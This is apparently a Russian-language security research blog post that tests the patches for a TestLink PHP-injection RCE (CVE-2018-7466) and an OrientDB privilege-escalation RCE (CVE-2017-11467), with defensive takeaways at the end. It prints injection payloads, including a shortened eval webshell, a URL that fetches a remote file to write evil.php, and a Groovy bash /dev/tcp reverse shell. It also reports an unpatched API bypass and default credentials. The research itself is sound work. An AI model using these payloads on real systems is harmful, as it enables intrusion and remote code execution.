В мире каждый день публикуются десятки CVE (по данным компании riskbasedsecurity.com за 2017 год было опубликовано 20832 CVE). Однако производители стали с большим пониманием и вниманием относиться к security-репортам, благодаря чему скорость закрытия багов существенно увеличилась (по нашим ощущениям).
Нам стало интересно посмотреть на несколько продуктов и понять, из-за чего же возникли уязвимости (учимся на чужих ошибках). А также как производители их исправляют и всегда ли это у них получается (забегая вперед – не всегда).
Критерии отбора:
Как и в любом хорошем контролируемом эксперименте, мы поставили ряд ограничений на рассматриваемые уязвимости:
- должен быть эксплойт – мы хотим посмотреть, что до обновления все было
хорошо эксплотируемоплохо, а после стало хорошо; - уязвимость должна быть критичной (в идеале RCE) и с высоким score;
- продукт должен быть OpenSource;
- продукт должен быть не заброшенным и активно используемым;
- уязвимость должна быть относительно новой;
- главное, чтобы нам самим было интересно.
Что и как мы выбрали:
Мы зашли на vulners.com (“Google” for Hackers) и попросили показать все эксплойты с exploit-db.com за последние пару недель. Так мы нашли нашего первого подопечного испытуемого. Продукт TestLink Open Source Test Management — web-система управления тестированием, написанная на PHP.
(CVE-2018-7466, score 8.3, RCE, опубликована 25 февраля 2018 года — все, как мы хотели).
Второго испытуемого мы решили поискать с score 10. И тут нам на глаза попалась уязвимость в OrientDB (CVE-2017-11467, score 10, RCE, опубликована 17 июля 2017 года, почти как мы хотели). OrientDB — открытая СУБД, которая объединяет в себе возможности документно-ориентированной и графо-ориентированной БД (wiki).
Процесс выбора занял у нас 15-20 минут. Большую часть этого времени мы пытались понять, что это за продукт и подходит ли он под наши критерии. Получается, выбор можно назвать относительно случайным. Переходим к рассмотрению наших испытуемых.
TestLink Open Source Test Management (CVE-2018-7466):
Читаем описание эксплойта. Видим, что уязвима версия до 1.9.16 (включительно) и что все исправлено в версии 1.9.17. Идем на сайт производителя в надежде скачать новую и старую версию. Тут нас ждет первый удивительный момент: на сайте производителя есть только уязвимая версия. Поиски на просторах интернета версии 1.9.17 не дают результата. Находим новость о том, что новая версия будет в первом квартале 2018 года. Но есть github-проект, где можно взять последнюю версию, чтобы понять, как разработчики исправили проблему.
Ставим TestLink, тут все просто. Необходимо установить связку Apache+PHP+Mysql и разархивировать папку с проектом в папку Web-сервера. После этого зайти на свой Web-сервер, где нас встретит мастер установки, который сообщит нам, что пользователь по умолчанию admin с паролем admin. При первом входе нас не просят сменить его, но это легко можно сделать в настройках пользователя.
Из текста эксплойта понимаем, что проблемный скрипт — «/install/installDbInput.php». Он находится в папке install, а мы уже выполнили инсталляцию, и она, по идее, уже должна быть недоступна. Однако если попробовать к ней обратиться, выясняется, что это не так. Данное поведение установщика весьма небезопасно, так как любой желающий может перетереть все ваши записи. Тут я, конечно, перегибаю палку. На самом деле, он может указать, что надо использовать новый сервер Mysql, а в старом все останется, и можно будет откатить к рабочей версии.
В тексте эксплойта в качестве имени пользователя передается строка вида:
"box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//"
Очевидно, что у нас есть инъекция в php-коде. Посмотрим, откуда она берется. Идем в скрипт installDbInput.php и видим в строках с 62 по 69 сохранение пользовательских значений. После, они как-то используются, а потом в строках 489-498 сохраняются в файл
$cfg_file = "../config_db.inc.php".
// get db info from session
// строки 62-69
$db_server = $_SESSION['databasehost'];
$db_admin_name = $_SESSION['databaseloginname'];
$db_admin_pass = $_SESSION['databaseloginpassword'];
$db_name = $_SESSION['databasename'];
$db_type = $_SESSION['databasetype'];
$tl_db_login = $_SESSION['tl_loginname'];
$tl_db_passwd = $_SESSION['tl_loginpassword'];
$db_table_prefix = $_SESSION['tableprefix'];
//строки 489-498
$data['db_host']=$db_server;
$data['db_login'] = $user_host[0];
$data['db_passwd'] = $tl_db_passwd;
$data['db_name'] = $db_name;
$data['db_type'] = $db_type;
$data['db_table_prefix'] = $db_table_prefix;
$cfg_file = "../config_db.inc.php";
$yy = write_config_db($cfg_file,$data);
Как не сложно догадаться, php-код, который мы записали в файл «config_db.inc.php», теперь легко доступен и может быть выполнен (классический RCE в действие).
Вот код config_db.inc.php после эксплойта:
// config_db.inc.php
define('DB_TYPE', 'mysql');
define('DB_USER', 'box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//');
define('DB_PASS', '123');
define('DB_HOST', 'localhost');
define('DB_NAME', 'testlink');
define('DB_TABLE_PREFIX', '');
Fix от TestLink:
В описании CVE на nist.gov есть ссылка на коммит на github, который “закрывает” данную уязвимость, уменьшив возможную длину логина до 32 символов (почему только логина, хотя инжект возможен во всех полях, и почему до 32 — для нас осталось загадкой). Мы потерли ручонки и решили обойти ограничение в 32 символа в логине (хотя можно было почитать код внимательнее и понять, что мы бьемся уже в закрытую дверь).
В изначальном эксплойте было 64 символа в инжекте. Подумав, как это сократить, мы решили воспользоваться стандартной функцией eval и сократить имя пользователя до одной буквы. Вот что у нас получилось:
b');eval($_GET['e']);//
23 символа (если можно короче, то напишите в комментариях, нам любопытно), использовать как-то так:
/config_db.inc.php?e=file_put_contents($_GET['filename'],file_get_contents($_GET['filedata']));&filename=evil.php&filedata=http://.../src.txt
Проверив на старой версии, что наш код “эксплойта” работает, мы скачали с гита новую версию (официально новой версии все еще нет), поставили и разочаровались, так как наш код не отработал.
Почему не отработал наш код?
В файл config_db.inc.php наш код занесся в виде:
define('DB_USER', 'bevalGETe');
То есть убрались все специальные символы. Смотрим в новый код installNewDB.php внимательнее и видим, что в строках 56-82 добавилась “обработка” пользовательского ввода вида:
$san = '/[^A-Za-z0-9-]/';
$db_name = trim($_SESSION['databasename']);
$db_name = preg_replace($san,'',$db_name);
То есть все символы, отличные от букв, цифр и символа “-”, удаляются. И, соответственно, эксплойт перестает работать. ВНИМАНИЕ. Перестает работать не только эксплойт, но и сам функционал. Поскольку preg_replace с регулярным выражением '/[^A-Za-z0-9-]/’ применяется ко всем полям, теперь невозможно задать удаленный хост с базой данных. Так как сложно представить запись, в которой не будет встречаться точка (будет как в доменной записи, так и в записи ipv4-адреса) или двоеточие (ipv6-адреса никто не отменял). Также теперь стало проще перебирать пароли (в них могут быть только буквы, цифры и символ “-”).
Выводы по TestLink и CVE-2018-7466:
- уязвимость закрыта;
- регулярное выражение, закрывающее уязвимость, ломает часть функциональности;
- регулярное выражение, закрывающее уязвимость, упрощает перебор паролей;
- на nist.gov указан неправильный коммит, закрывающий уязвимость (вот правильный).
Хозяйке на заметку по TestLink и CVE-2018-7466:
- фильтруйте ввод пользователей (используя для этого специальные функции языка, а не самописные регулярные выражения);
- не храните пользовательский ввод в php-скриптах (и запретите запуск php-интерпретатора для файлов с другим расширением, а заодно и отдачу этих файлов);
- не храните логины и пароли от базы данных в открытом виде;
- запрещайте доступ или удаляйте каталог install после установки.
OrientDB (CVE-2017-11467):
Читаем описание эксплойта. Там опять есть ссылка на github, где сказано, что уязвимость исправлена в версии 2.2.23. Значит, для начала нас интересует версия 2.2.22 (которая должна быть уязвима).
Установка в этот раз гораздо проще. Разработчики дают докер-контейнеры, где все настроено, а docker hub хранит все версии. Поэтому просто пишем:
sudo docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:2.2.22
и получаем контейнер с уязвимой версией OrientDB. Копируем питоновский код эксплойта к себе и запускаем. Однако скрипт падает со словами, что у нас нет базы данных (возможно, еще упадет со словами, что у вас не хватает какого-нибудь питоновского пакета). Заходим к себе на локальный хост по порту 2480 и создаем базу. Запускаем эксплойт снова, в этот раз он тоже не отработает, так как встроенная полезная нагрузка (реверс шелл) требует наличия bash, а в нашем контейнере есть только sh.
Для теста мы решили написать payload, который просто создает файл. Понятно, что в реальной жизни можно все сделать куда интересней.
За полезную нагрузку отвечает переменная query, в которой содержится код на языке Groovy. Меняем полезную нагрузку с
def command = 'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();
на
def command = 'touch /orientdb/test.sh ';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/sh\\n\");file << (command);def proc = \"/bin/sh hello.sh\".execute();
Запускаем эксплойт, и внутри нашего контейнера создается файл test.sh. Отлично, эксплойт работает, уязвимость присутствует.
Проверяем, что все закрыли.
Теперь проверяем, что все удачно закрыли в версии 2.2.23 (версия от 11 июля 2017). Запускаем контейнер с этой версией (создаем базу), запускаем эксплойт и в контейнере проверяем файл. Не верим свои глазам: там есть наш тестовый файл. Проверяем версию продукта (в web-интерфейсе есть вкладка “about”) — там все верно, версия 2.2.23. Перезапускаем эксплойт с другим именем файла (test.sh – не самое оригинальное имя) – все отработало. Проверяем описание эксплойта на nist.gov. Там ссылка, что уязвимость закрыта в версии 2.2.23.
Ладно, давайте искать версию, где уязвимость была закрыта. Очень повезло, что есть контейнеры всех версий и алгоритм бинарного поиска. Запасаемся печеньками и начинаем поиск. Запускаем самую свежую версию – 2.2.33 (5 марта 2018) — без надежды, что на ней что-то заработает. Проверяем – работает.
Смотрим в код эксплойта и видим, что проблема чуть менее серьезная, чем показалась изначально: все запросы выполняются от имени пользователя “writer” с паролем “writer”. Другими словами, нарушается второе святое правило: создаются встроенные учетные записи с зашитыми паролями. Этим страдают даже гиганты (вспомним нашумевшую уязвимость у Oracle в прошлом году, где встроенному пользователю OIMINTERNAL был назначен пароль пробел), что уж ожидать от небольшого opensource-продукта. Позже выяснилось, что там есть не только эта учетная запись, но еще admin:admin (мои любимые) и reader:reader. При этом всем, через web-интерфейс за 2 минуты не находится место, где их можно поменять, а в официальной документации нет информации о том, что это надо сделать.
Проблема заключается в том, что при создании базы эти пользователи автоматически добавляются к ней. Даже если бы не было возможности исполнять код, то просмотр данных (и их модификация) может стать проблемой для владельца ресурса, использующего OrientDB, и его пользователей.
Почему не закрыли?
Смотрим коммит, в котором должны были закрыть данную уязвимость. В файл OCommandExecutorSQLSelect.java добавлена проверка того, что пользователь имеет разрешение на чтение в роли «database.systemclusters», которая должна решить проблему изменения прав. Подняв еще раз контейнер версии 2.2.23, залогинившись под пользователям writer и перейдя во кладку Security, видим сообщение об ошибке доступа:
com.orientechnologies.orient.core.exception.OSecurityAccessException: User 'writer' does not have permission to execute the operation 'Read' against the resource: ResourceGeneric [name=SYSTEM_CLUSTER, legacyName=database.systemclusters].null DB name="test23"
Это значит, что пользователь не может просматривать свои права. В версии 2.2.22 такой ошибки не было и пользователь мог спокойно смотреть и менять свои права.
Обратим внимание на название файла: OcommandExecutorSQLSelect.java. В нем ключевое слово Select. Смотрим в папку на гите и видим, что для каждой SQL-команды, есть свой класс, а последнее изменение как раз относится к классу OCommandExecutorSQLSelect.java (9 месяцев назад).
В коде эксплойта есть функция priv_escalation
def priv_escalation(target,port="2480"):
print "[+] Checking OrientDB Database version is greater than 2.2"
if check_version(target,port):
databases = enum_databases(target)
print databases
priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
if priv1 and priv2 and priv3:
return True
return False,
которая выполняет операции «Grant» к ролям database.class.ouser, database.function, database.systemclusters (для них даются полные права «create»,«read»,«update»,«execute»,«delete»).
Класс OCommandExecutorSQLGrant.java никак не учитывает изменения, которые произошли в классе OcommandExecutorSQLSelect.java, и что вызовы можно производить напрямую к API (а не тыкать в Web-интерфейсе). Получается, возможно выдать себе права, необходимые для запуска Groovy-кода, который может быть выполнен в контексте операционной системы, что и происходит в эксплойте.
Налицо нарушение третьего святого правила: закрытие уязвимости в отображаемых результатах, а не в API, к которому пользователь также имеет доступ.
Выводы по OrientDB и CVE-2017-11467:
- уязвимость не закрыта (при обращении к API можно выдать себе необходимые права для запуска Groovy-кода);
- в системе присутствуют встроенные пользователи с высокими правами;
- Shodan говорит, что 458 хостов по всему миру используют OrientDB, а значит, потенциально к ним можно получить доступ. (Интуиция мне подсказывает, что администраторы этих баз не задумались о встроенных пользователях и не запретили их.)
Хозяйке на заметку по OrientDB и CVE-2017-11467:
не создавайте встроенных пользователей с одинаковыми паролями;заставляйте при установке менять пароли к встроенным пользователям (если они вам так необходимы);- не создавайте встроенных пользователей;
- исправляйте ошибки в API, а не в отображаемых результатах;
- закрытые уязвимости могут быть не закрыты;
- nist.gov опять не прав.
Заключение:
Тема закрытия уязвимостей оказалась куда интереснее, чем нам виделось изначально. Выбранные случайным образом две уязвимости продемонстрировали, что закрываются они странно и плохо. В будущем мы продолжим смотреть, что и как происходит с закрытием уязвимостей. Пишите в комментарии, какие странно “закрытые” уязвимости наблюдали вы.
Автор: Acribia